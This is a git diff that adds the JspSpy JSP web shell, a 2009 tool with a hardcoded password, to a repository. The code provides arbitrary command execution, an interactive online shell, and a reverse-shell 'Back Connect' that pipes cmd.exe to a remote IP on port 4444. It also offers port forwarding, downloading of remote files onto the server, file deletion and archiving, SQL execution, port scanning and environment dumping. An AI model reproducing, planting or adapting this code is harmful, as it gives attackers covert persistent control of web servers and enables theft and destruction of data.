+JSession.removeAttribute(MSG); +} +out.println(""+ +"
                            "+ +"
                            "+ +"

                            Execute Program »

                            "+ +"

                            "+ +""+ +""+ +"Parameter
                            "+ +""+ +"

                            "+ +"
                            "+ +"
                            "+ +"

                            Execute Shell »

                            "+ +"

                            "+ +""+ +""+ +"Parameter
                            "+ +""+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

                            "); +out.println("
                            ");
                            +String command = request.getParameter("command");
                            +if (!Util.isEmpty(command)) {
                            +Process pro = Runtime.getRuntime().exec(command);
                            +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
                            +String s = reader.readLine();
                            +while (s != null) {
                            +out.println(Util.htmlEncode(Util.getStr(s)));
                            +s = reader.readLine();
                            +}
                            +reader.close();
                            +out.println("
                            "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
                            "+ +"
                            "+ +"

                            Remote File DownLoad »

                            "+ +"

                            "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); + +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); + +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); + +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +""+ +"

                            PortMap >>

                            "+ +"
                            "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

                            "+ +" "+ +" "+ +"
                            "+ +"
                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +""+ +"

                            Back Connect >>

                            "+ +"
                            "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

                            "+ +" "+ +"
                            "+ +"
                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

                            System Properties >>

                            "+ +"
                            "+ +"
                            "+ +"
                              "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
                            • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
                            • "); +} +out.println("

                            System Environment >>


                              "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
                            • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
                            • "); +} +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
                            Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
                            "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "); +out.println("

                            Shell OnLine »


                            "); +out.println("
                            "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
                            "+ +"
                            "+ +" "+ +"
                            "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
                            "+ +" " +); +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。 +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
                            "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> diff --git a/jsp/JspSpyJDK5.jsp b/jsp/JspSpyJDK5.jsp new file mode 100644 index 0000000..4c92014 --- /dev/null +++ b/jsp/JspSpyJDK5.jsp @@ -0,0 +1,2323 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "ninty"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
                            "); +str = str.replace("\n","
                            "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
                            "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
